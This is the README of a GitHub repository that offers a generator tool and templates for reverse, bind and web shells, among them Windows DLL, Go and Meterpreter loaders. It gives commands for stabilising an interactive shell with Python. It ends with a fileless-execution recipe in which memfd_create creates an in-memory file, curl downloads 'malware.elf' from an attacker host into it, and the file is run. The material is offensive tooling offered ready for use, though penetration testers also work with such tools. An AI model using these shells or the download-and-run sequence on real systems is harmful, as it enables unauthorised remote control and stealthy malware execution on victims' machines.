dadevel / shells

Collection of Reverse, Bind & Web Shells

Shells

A collection of reverse, bind and web shells from all over the internet.

Setup

a) With pipx.

pipx install git+https://github.com/dadevel/shells.git@main

b) With pip.

pip install --user git+https://github.com/dadevel/shells.git@main

Usage

Just run genshell and select one of the many templates.

Some advanced templates require manual steps:

• TCP reverse shell in C++ as Windows DLL
• TCP reverse shell with Cosmopolitan Libc
• TCP reverse shell in Go
• Reverse shell listener with Tmux and Socat
• Python ELF loader via memfd_create() on Linux
• Python shellcode loader on Linux
• Meterpreter loader for Windows

Tips

Metasploit payloads like windows/shell_reverse_tcp are one of the few reverse shells for Windows that support interactive commands.

Linux PTY

Spawn a PTY and stabilize your shell with Python.

python -c 'import pty;pty.spawn("/bin/bash")'
# ctrl+z
echo "stty sane;stty rows $LINES cols $COLUMNS;export TERM=xterm;" | xclip -sel clip
stty raw -echo && fg
# paste clipboard and press enter

Alternatively spawn a PTY with script.

script -q -c /bin/bash /dev/null

Linux memfd_create()

Create file in memory with Python 3.8 or newer (source).

$ python3 -c "from os import*;fork()or(setsid(),print(f'/proc/{getpid()}/fd/{memfd_create(sep)}'),kill(0,19))"
/proc/139856/fd/3
$ curl -o /proc/139856/fd/3 https://attacker.com/malware.elf
$ /proc/139856/fd/3

Other interesting tools

• Kraken, multi-language webshell
• xc, reverse shell for Linux and Windows written in Go